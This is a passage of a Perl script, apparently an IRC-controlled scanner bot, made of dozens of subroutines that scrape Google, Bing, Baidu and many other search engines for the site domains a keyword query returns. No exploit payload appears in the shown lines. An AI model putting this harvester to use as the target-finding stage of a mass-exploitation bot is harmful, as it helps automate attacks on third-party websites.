  593. &msg("$chan","0,1$logo(4@8$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  594. return @clean;
  595. }
  596. ##################################################################################################################################
  597.        
  598. sub google() {
  599.         my @list; my $key = $_[0]; for (my $i=0; $i<=400; $i+=10){
  600.         my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  601.         my $res = &search_engine_query($search);
  602.         while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
  603.         if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } }
  604.         return @list;
  605.     }
  606.    
  607. sub google2()   {
  608.         my @list; my $key = $_[0]; my $b      = 0;
  609.         my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo",
  610.                     "com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk",
  611.                     "dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn",
  612.                     "hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz",
  613.                     "li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf",
  614.                     "com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt",
  615.                     "com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to",
  616.                     "tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  617.         foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))]; for ($b=1; $b<=200; $b+=10) {
  618.         my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  619.         my $res = &search_engine_query($search);
  620.         while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
  621.         if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } }
  622.         return @list;
  623.         }
  624.                 }
  625. sub rediff() {
  626.     my @list;
  627.     my $key = $_[0];
  628.     for (my $i=0; $i<=500; $i+=10) {
  629.         my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  630.         $b = "$i";
  631.         my $res = &search_engine_query($search);
  632.         if ($res !~ /firstres=$b\'>/) {$i=500;}
  633.         while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  634.             if ($1 !~ /rediff\.com/){
  635.             my $link = $1;
  636.                 my @grep = &links($link);
  637.                 push(@list,@grep);
  638.             }
  639.         }
  640.     }
  641.     return @list;
  642. }
  643.  
  644. sub uol() {
  645.     my @list;
  646.     my $key = $_[0];
  647.     for (my $i=1; $i<=500; $i+=10) {
  648.         my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  649.         my $res = &search_engine_query($search);
  650.         if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
  651.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  652.             if ($1 !~ /uol\.com/) {
  653.             my $link = $1;
  654.                 my @grep = &links($link);
  655.                 push(@list,@grep);
  656.             }
  657.         }
  658.     }
  659.     return @list;
  660. }
  661.  
  662. sub bypass() {
  663.         my @list; my $key = $_[0];
  664.         my $search = ($bypass."?key=".&key($key));
  665.         my $res = search_engine_query($search);
  666.         while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
  667.         if ($1 !~ /google/){ my $link = $1; my @grep = &links($link);
  668.         push(@list,@grep); } }
  669.         return @list;
  670.     }
  671.  
  672. sub bing() {
  673.     my @list;
  674.     my $key = $_[0];
  675.     for (my $i=1; $i<=500; $i+=10) {
  676.         my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  677.         my $res = &search_engine_query($search);
  678.         if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
  679.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  680.             if ($1 !~ /bing\.com/) {
  681.             my $link = $1;
  682.                 my @grep = &links($link);
  683.                 push(@list,@grep);
  684.             }
  685.         }
  686.     }
  687.     return @list;
  688. }
  689.  
  690. sub altavista() {
  691.     my @list;
  692.     my $key = $_[0];
  693.     for (my $i=1; $i<=500; $i+=10){
  694.         my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  695.         my $res = &search_engine_query($search);
  696.         if ($res !~ /target=\"_self\">Succ/) {$i=500;}
  697.         while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  698.             if ($1 !~ /altavista/){
  699.             my $link = $1;
  700.                 $link =~ s/<//g;
  701.                 $link =~ s/ //g;
  702.                 my @grep = &links($link);
  703.                 push(@list,@grep);
  704.             }
  705.         }
  706.     }
  707.     return @list;
  708. }
  709.  
  710. sub ask() {
  711.     my @list;
  712.     my $key = $_[0];
  713.     for (my $i=1; $i<=50; $i+=1) {
  714.         my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  715.         my $res = &search_engine_query($search);
  716.         if ($res !~ /Successiva/) {$i=50;}
  717.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  718.             if ($1 !~ /ask\.com/){
  719.             my $link = $1;
  720.                 my @grep = &links($link);
  721.                 push(@list,@grep);
  722.             }
  723.         }
  724.     }
  725.     return @list;
  726. }
  727.  
  728.  
  729. sub clusty() {
  730.     my @list;
  731.     my $key = $_[0];
  732.     my $b   = 0;
  733.     for ($b=10; $b<=500; $b+=10) {
  734.         my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  735.         my $res = &search_engine_query($search);
  736.         if ($res !~ /next/) {$b=500;}
  737.         while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  738.             if ($1 !~ /yippy\.com/){
  739.             my $link = $1;
  740.                 my @grep = &links($link);
  741.                 push(@list,@grep);
  742.             }
  743.         }
  744.     }
  745.     return @list;
  746. }
  747.  
  748. sub gutser() {
  749.     my @list;
  750.     my $key = $_[0];
  751.     for ($b=1; $b<=50; $b+=1) {
  752.         my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  753.         my $res = &search_engine_query($search);
  754.         while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  755.             if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
  756.             my $link = $1;
  757.                 my @grep = &links($link);
  758.                 push(@list,@grep);
  759.             }
  760.         }
  761.     }
  762.     return @list;
  763. }
  764.  
  765. sub bypass2() {
  766.         my @list; my $key = $_[0];
  767.         my $search = ($bypass2."?key=".&key($key));
  768.         my $res = search_engine_query($search);
  769.         while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
  770.         if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } }
  771.         return @list;
  772.     }
  773.  
  774. sub exalead() {
  775.   my @list;
  776.   my $key = $_[0];
  777.     for ($b=0; $b<=1000; $b+=100) {
  778.         my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  779.         my $res = &search_engine_query($search);
  780.         if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
  781.         while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  782.             my $link = $1;
  783.             if ($link!~ /exalead/){
  784.                 my @grep = &links($link);
  785.                 push(@list,@grep);
  786.             }
  787.             }
  788.         }
  789.     return @list;
  790. }
  791.  
  792. sub yahoo(){
  793.     my @list;
  794.     my $key = $_[0];
  795.     my $b   = 0;
  796.     for ($b=1; $b<=500; $b+=10) {
  797.         my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
  798.         my $res = &search_engine_query($search);
  799.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  800.             if ($1 !~ /yahoo\.com/){
  801.             my $link = $1;
  802.                 my @grep = &links($link);
  803.                 push(@list,@grep);
  804.             }
  805.         }
  806.     }
  807.     return @list;
  808. }
  809.  
  810. sub lycos() {
  811.   my @list;
  812.   my $key = $_[0];
  813.     for ($b=0; $b<=50; $b+=1) {
  814.         my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  815.         my $res = &search_engine_query($search);
  816.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  817.             if ($1 !~ /lycos\.com/){
  818.             my $link = $1;
  819.                 my @grep = &links($link);
  820.                 push(@list,@grep);
  821.             }
  822.         }
  823.     }
  824.     return @list;
  825. }
  826.  
  827. sub virgilio() {
  828.   my @list;
  829.   my $key = $_[0];
  830.     for ($b=10; $b<=500; $b+=10) {
  831.         my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  832.         my $res = &search_engine_query($search);
  833.         if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
  834.         if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
  835.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  836.             if ($1 !~ /\.virgilio\.it/){
  837.             my $link = $1;
  838.                 my @grep = &links($link);
  839.                 push(@list,@grep);
  840.             }
  841.         }
  842.     }
  843.     return @list;
  844. }
  845.  
  846. sub webde() {
  847.   my @list;
  848.   my $key = $_[0];
  849.     for ($b=1; $b<=50; $b+=1) {
  850.         my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  851.         my $res = &search_engine_query($search);
  852.         if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  853.         while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  854.             my $link = $1;
  855.             if ($link!~ /suche|web/){
  856.                 my @grep = &links($link);
  857.                 push(@list,@grep);
  858.             }
  859.         }
  860.     }
  861.     return @list;
  862. }
  863.  
  864. sub hotbot() {
  865.   my @list;
  866.   my $key = $_[0];
  867.     for ($b=0; $b<=50; $b+=1) {
  868.         my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  869.         my $res = &search_engine_query($search);
  870.         if ($res =~ m/had no web result/i) {$b=50;}
  871.         while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  872.             if ($1 !~ /hotbot\.com/){
  873.             my $link = $1;
  874.                 my @grep = &links($link);
  875.                 push(@list,@grep);
  876.             }
  877.         }
  878.     }
  879.     return @list;
  880. }
  881.  
  882. sub aol() {
  883.   my @list;
  884.   my $key = $_[0];
  885.     for ($b=2; $b<=50; $b+=1) {
  886.         my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
  887.         my $res = &search_engine_query($search);
  888.         while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  889.             if ($1 !~ /aol\.com/){
  890.             my $link = $1;
  891.                 my @grep = &links($link);
  892.                 push(@list,@grep);
  893.             }
  894.         }
  895.     }
  896.     return @list;
  897. }
  898.  
  899. sub sapo(){
  900.     my @list;
  901.     my $key = $_[0];
  902.     for ($b=1; $b<=50; $b+=1) {
  903.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
  904.         my $res = &search_engine_query($search);
  905.         if ($res !~ m/Next/i) {$b=50;}
  906.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  907.             if ($1 !~ /\.sapo\.pt/){
  908.             my $link = $1;
  909.                 my @grep = &links($link);
  910.                 push(@list,@grep);
  911.             }
  912.         }
  913.     }
  914.     return @list;
  915. }
  916.  
  917. sub duck() {
  918.     my @list;
  919.     my $key = $_[0];
  920.     my $b   = 0;
  921.     for ($b=1; $b<=50; $b+=1) {
  922.         my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  923.         my $res = &search_engine_query($search);
  924.         if ($res =~ m/No more results/i) {$b=50;}
  925.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  926.             if ($1 !~ /duckduckgo/){
  927.             my $link = $1;
  928.                 my @grep = &links($link);
  929.                 push(@list,@grep);
  930.             }
  931.         }
  932.     }
  933.     return @list;
  934. }
  935.  
  936. sub lygo() {
  937.     my @list;
  938.     my $key = $_[0];
  939.         my $b   = 0;
  940.     for ($b=0; $b<=50; $b+=1) {
  941.         my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  942.         my $res = &search_engine_query($search);
  943.         if ($res =~ m/had no web result/i) {$b=50;}
  944.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  945.             if ($1 !~ /hotbot\.com/){
  946.             my $link = $1;
  947.                 my @grep = &links($link);
  948.                 push(@list,@grep);
  949.             }
  950.         }
  951.     }
  952.     return @list;
  953. }
  954.  
  955. sub yause() {
  956.     my @list;
  957.     my $key = $_[0];
  958.         my $b   = 0;
  959.     for ($b=1; $b<=50; $b+=1) {
  960.         my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  961.         my $res = &search_engine_query($search);
  962.         if ($res !~ m/Next/i) {$b=50;}
  963.         while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  964.             if ($1 !~ /yauba\.com/){
  965.             my $link = $1;
  966.                 my @grep = &links($link);
  967.                 push(@list,@grep);
  968.             }
  969.         }
  970.     }
  971.     return @list;
  972. }
  973.  
  974. sub baidu() {
  975.     my @list;
  976.     my $key = $_[0];
  977.         my $b   = 0;
  978.     for ($b=0; $b<=500; $b+=10) {
  979.         my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  980.         my $res = &search_engine_query($search);
  981.         while ($res =~ m/\" href=\"http:\/\/(.*?)\"  target=/g) {
  982.             if ($1 !~ /baidu\.com/){
  983.             my $link = $1;
  984.                 my @grep = &links($link);
  985.                 push(@list,@grep);
  986.             }
  987.         }
  988.     }
  989.     return @list;
  990. }
  991.  
  992. sub kipot() {
  993.     my @list;
  994.     my $key = $_[0];
  995.         my $b   = 0;
  996.     for ($b=1; $b<=50; $b+=1) {
  997.         my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
  998.         my $res = &search_engine_query($search);
  999.         while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
  1000.             if ($1 !~ /qkport\.com/){
  1001.             my $link = $1;
  1002.                 my @grep = &links($link);
  1003.                 push(@list,@grep);
  1004.             }
  1005.         }
  1006.     }
  1007.     return @list;
  1008. }
  1009.  
  1010. sub gibla() {
  1011.     my @list;
  1012.     my $key = $_[0];
  1013.     my $hal = "/search?q=".&key($key);
  1014.         my $search = ("http://www.gigablast.com".$hal);
  1015.         my $res = &search_engine_query($search);
  1016.     while ($res =~ m/Next 10 Results/) {
  1017.         $search = ("http://www.gigablast.com".$hal);
  1018.         while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
  1019.             my $link = $1;
  1020.             my @grep = &links($link);
  1021.             push(@list,@grep);
  1022.         }
  1023.     if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
  1024.     $res = &search_engine_query($search);
  1025.     }return @list;
  1026. }
  1027.  
  1028. sub black() {
  1029.     my @list;
  1030.     my $key = $_[0];
  1031.         my $b   = 0;
  1032.     for ($b=0; $b<=50; $b+=1) {
  1033.         my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
  1034.         my $cek = $b+1;
  1035.         my $res = &search_engine_query($search);
  1036.         if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
  1037.         while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  1038.             if ($1 !~ /blekko/){
  1039.             my $link = $1;
  1040.                 my @grep = &links($link);
  1041.                 push(@list,@grep);
  1042.             }
  1043.         }
  1044.     }
  1045.     return @list;
  1046. }
  1047.  
  1048. sub onet() {
  1049.     my @list;
  1050.     my $key = $_[0];
  1051.         my $b   = 0;
  1052.     for ($b=1; $b<=50; $b+=1) {
  1053.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  1054.         my $res = &search_engine_query($search);
  1055.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1056.             if ($1 !~ /webcache|query/){
  1057.             my $link = $1;
  1058.                 my @grep = &links($link);
  1059.                 push(@list,@grep);
  1060.             }
  1061.         }
  1062.     }
  1063.     return @list;
  1064. }
  1065.  
  1066. sub sizuka() {
  1067.     my @list;
  1068.     my $key = $_[0];
  1069.         my $b   = 0;
  1070.     for ($b=10; $b<=100; $b+=10) {
  1071.         my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
  1072.         my $res = &search_engine_query($search);
  1073.         while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  1074.             if ($1 !~ /szukacz/){
  1075.             my $link = $1;
  1076.                 my @grep = &links($link);
  1077.                 push(@list,@grep);
  1078.             }
  1079.         }
  1080.     }
  1081.     return @list;
  1082. }
  1083.  
  1084. sub walla() {
  1085.     my @list;
  1086.     my $key = $_[0];
  1087.         my $b   = 0;
  1088.     for ($b=0; $b<=50; $b+=1) {
  1089.         my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
  1090.         my $res = &search_engine_query($search);
  1091.         while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  1092.             if ($1 !~ /walla\.co\.il/){
  1093.             my $link = $1;
  1094.                 my @grep = &links($link);
  1095.                 push(@list,@grep);
  1096.             }
  1097.         }
  1098.     }
  1099.     return @list;
  1100. }
  1101.  
  1102. sub demos() {
  1103.     my @list;
  1104.     my $key = $_[0];
  1105.         my $b   = 0;
  1106.     for ($b=0; $b<=500; $b+=10) {
  1107.         my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
  1108.         my $res = &search_engine_query($search);
  1109.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1110.             if ($1 !~ /search|dmoz/){
  1111.             my $link = $1;
  1112.                 my @grep = &links($link);
  1113.                 push(@list,@grep);
  1114.             }
  1115.         }
  1116.     }
  1117.     return @list;
  1118. }
  1119.  
  1120. sub rose() {
  1121.   my @list;
  1122.   my $key = $_[0];
  1123.   my $b   = 0;
  1124.   my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
  1125. foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
  1126.     for ($b=0; $b<=30; $b+=10) {
  1127.         my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
  1128.         my $res = &search_engine_query($search);
  1129.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  1130.             if ($1 !~ /euroseek/){
  1131.             my $link = $1;
  1132.                 my @grep = &links($link);
  1133.                 push(@list,@grep);
  1134.             }
  1135.         }
  1136.     }
  1137. }return @list;
  1138. }
  1139.  
  1140. sub seznam() {
  1141.     my @list;
  1142.     my $key = $_[0];
  1143.     for ($b=1; $b<=500; $b+=10) {
  1144.         my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1145.         my $res = &search_engine_query($search);
  1146.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1147.             if ($1 !~ /seznam/){
  1148.             my $link = $1;
  1149.                 my @grep = &links($link);
  1150.                 push(@list,@grep);
  1151.             }
  1152.         }
  1153.     }
  1154.     return @list;
  1155. }
  1156.  
  1157. sub tiscali() {
  1158.     my @list;
  1159.     my $key = $_[0];
  1160.     for ($b=0; $b<=500; $b+=10) {
  1161.         my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
  1162.         my $res = &search_engine_query($search);
  1163.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  1164.             if ($1 !~ /tiscali/){
  1165.             my $link = $1;
  1166.                 my @grep = &links($link);
  1167.                 push(@list,@grep);
  1168.             }
  1169.         }
  1170.     }
  1171.     return @list;
  1172. }
  1173.  
  1174. sub naver() {
  1175.     my @list;
  1176.     my $key = $_[0];
  1177.     for ($b=1; $b<=500; $b+=10) {
  1178.         my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  1179.         my $res = &search_engine_query($search);
  1180.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1181.             if ($1 !~ /naver/){
  1182.             my $link = $1;
  1183.                 my @grep = &links($link);
  1184.                 push(@list,@grep);
  1185.             }
  1186.         }
  1187.     }
  1188.     return @list;
  1189. }
  1190.  
  1191. sub doogate(){
  1192.     my @list;
  1193.     my $key = $_[0];
  1194.     my $i   = 0;
  1195.     for ($i=0; $i<=1000; $i+=100){
  1196.         my $web=("http://www.doogate.com/search?q=".key($key)."&start=".$i);
  1197.         my $Res= search_engine_query($web);
  1198.         while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
  1199.  
  1200.             if ($1 !~ /doogate/){
  1201.                 my $k=$1;
  1202.                 my @grep=links($k);
  1203.                 push(@list,@grep);
  1204.             }
  1205.         }
  1206.     }
  1207. return @list;
  1208. }
  1209.  
  1210. sub sogou() {
  1211.     my @list;
  1212.     my $key = $_[0];
  1213.     for (my $b=1; $b<=1000; $b+=10){
  1214.         my $search = ("http://www.sogou.com/web?query=".&key($key)."&page=".$b."&p=40040100&dp=1&w=01019900&dr=1&_asf=www.sogou.com&_ast=1313253760");
  1215.         my $res = search_engine_query($search);
  1216.         while ($res =~ m/<a name="dttl" target="_blank" href="http:\/\/(.*?)\"/g) {
  1217.             my $link = $1;
  1218.             if ($link !~ /sogou/){
  1219.                 my @grep = links($link);
  1220.                 push(@list,@grep);
  1221.             }
  1222.         }
  1223.     }
  1224.     return @list;
  1225. }
  1226.  
  1227. sub interia() {
  1228.     my @list;
  1229.     my $key = $_[0];
  1230.     for ($b = 0;$b<= 100; $b+= 10) {
  1231.            my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$b);
  1232.            my $res = search_engine_query($search);
  1233.            while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
  1234.                 my $link = $1;
  1235.                 if ($link!~ /google|interia/) {
  1236.                    my @grep=links($link);
  1237.                    push(@list,@grep);
  1238.            }
  1239.        }
  1240.    }
  1241.   return @list;
  1242. }
  1243.  
  1244. sub snz() {
  1245.     my @list;
  1246.     my $key = $_[0];
  1247.     for (my $b=1; $b<=1000; $b+=100) {
  1248.         my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&np=".$b);
  1249.         my $res = search_engine_query($search);
  1250.         while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
  1251.             my $link = $1;
  1252.             if ($link!~ /searchnz/){
  1253.                 my @grep = links($link);
  1254.                 push(@list,@grep);
  1255.             }
  1256.         }
  1257.     }
  1258.     return @list;
  1259. }
  1260.  
  1261. sub yandex(){
  1262.     my @list;
  1263.     my $key = $_[0];
  1264.     for ($b=0; $b<=50; $b+=10){
  1265.         my $search=("http://yandex.ru/yandsearch?p=".$b."&text=".&key($key)."&lr=84");
  1266.         my $res= search_engine_query($search);
  1267.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1268.             my $link = $1;
  1269.             if ($link!~ /yandex/ ){
  1270.                 my @grep = links($link);
  1271.                 push(@list,@grep);
  1272.             }
  1273.         }
  1274.     }
  1275.    return @list;
  1276. }
  1277.  
  1278. sub joeant(){
  1279.     my @list;
  1280.     my $key = $_[0];
  1281.     for ($b=0; $b<=50; $b+=10){
  1282.         my $search=("http://www.joeant.com/DIR/search.php?keywords=".&key($key)."&page=".$b."&limit=10");
  1283.         my $res= search_engine_query($search);
  1284.         while ($res =~ m/<a href=\http:\/\/(.*?)\//g) {
  1285.             my $link = $1;
  1286.             if ($link!~ /joeant/ ){
  1287.                 my @grep = links($link);
  1288.                 push(@list,@grep);
  1289.             }
  1290.         }
  1291.     }
  1292.    return @list;
  1293. }
  1294.  
  1295. sub terra(){
  1296.     my @list;
  1297.     my $key = $_[0];
  1298.     for ($b=0; $b<=50; $b+=10){
  1299.         my $search=("http://buscador.terra.com/Results.aspx?ca=a&source=Search&query=".$key);
  1300.         my $res= search_engine_query($search);
  1301.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1302.             my $link = $1;
  1303.             if ($link!~ /terra/ ){
  1304.                 my @grep = links($link);
  1305.                 push(@list,@grep);
  1306.             }
  1307.         }
  1308.     }
  1309.    return @list;
  1310. }
  1311.  
  1312. sub youdao() {
  1313.     my @list;
  1314.     my $key = $_[0]; {
  1315.         my $search = ("http://www.youdao.com/search?q=".&key($key)."&start=10&ue=utf8&keyfrom=".$b."&lq=".&key($key)."&timesort=0");
  1316.         my $res = search_engine_query($search);
  1317.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1318.             if ($1 !~ /youdao/){
  1319.             my $link = $1;
  1320.                 my @grep = &links($link);
  1321.                 push(@list,@grep);
  1322.             }
  1323.         }
  1324.     }
  1325.     return @list;
  1326. }
  1327.  
  1328. sub amfibi() {
  1329.     my @list;
  1330.     my $key = $_[0]; {
  1331.         my $search = ("http://www.amfibi.com/search?query=".&key($key)."&start=".$b);
  1332.         my $res = search_engine_query($search);
  1333.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1334.             if ($1 !~ /amfibi|cache/){
  1335.             my $link = $1;
  1336.                 my @grep = &links($link);
  1337.                 push(@list,@grep);
  1338.             }
  1339.         }
  1340.     }
  1341.     return @list;
  1342. }
  1343.  
  1344. sub bigclique() {
  1345.     my @list;
  1346.     my $key = $_[0];
  1347.     for ($b=1; $b<=500; $b+=10) {
  1348.         $num += $num;
  1349.         my $search = ("http://www.bigclique.com/search.jsp?query=".&key($key)."&hitsPerPage=10&start=".$num."&hitsPerSite=".$b);
  1350.         my $res = search_engine_query($search);
  1351.         while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
  1352.             if ($1 !~ /bigclique|cached/){
  1353.             my $link = $1;
  1354.                 my @grep = &links($link);
  1355.                 push(@list,@grep);
  1356.             }
  1357.         }
  1358.     }
  1359.     return @list;
  1360. }
  1361.  
  1362. sub dancefloor() {
  1363.     my @list;
  1364.     my $key = $_[0];
  1365.     for ($b=1; $b<=500; $b+=10) {
  1366.         $num += $num;
  1367.         my $search = ("http://www.dancefloorhireuk.co.uk/events/search.php?query=".&key($key)."&start=".$b."&search=1&results=10&type=and&domain=");
  1368.         my $res = search_engine_query($search);
  1369.         while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
  1370.             if ($1 !~ /dancefloor|query/){
  1371.             my $link = $1;
  1372.                 my @grep = &links($link);
  1373.                 push(@list,@grep);
  1374.             }
  1375.         }
  1376.     }
  1377.     return @list;
  1378. }
  1379. sub live {
  1380.   my $key = $_[0];
  1381.   my @list;
  1382.   my $num = 50; my $max = 5000; my $p;
  1383.   my $search = "http://search.live.com/results.aspx?q=".&key($key)."&go";
  1384.   my $msearch =  "http://search.live.com";
  1385.   my $nxsearch;
  1386.   my $res = search_engine_query($search);
  1387.   if ( $res =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
  1388.       my $nxsearch = $1;
  1389.   }
  1390.   while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  1391.     my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
  1392.   }
  1393.   for ( $p=0;$p<=$max;$p += $num ) {
  1394.     $nxsearch = $msearch.htmltosearch($1)."&go";
  1395.     $res = search_engine_query("http://search.live.com/results.aspx?q=".&key($key)."&first=".$p."&FORM=PORE");
  1396.     while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  1397.       my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
  1398.     }
  1399.   }
  1400.   return @list;
  1401. }
  1402.  
  1403. sub rakuten() {
  1404.     my @list;
  1405.     my $key = $_[0];
  1406.     for ($b=1; $b<=500; $b+=10) {
  1407.         my $search = ("http://websearch.rakuten.co.jp/Web?qt=".&key($key)."&col=OW&lg=all&st=".$b."&svx=101722");
  1408.         my $res = search_engine_query($search);
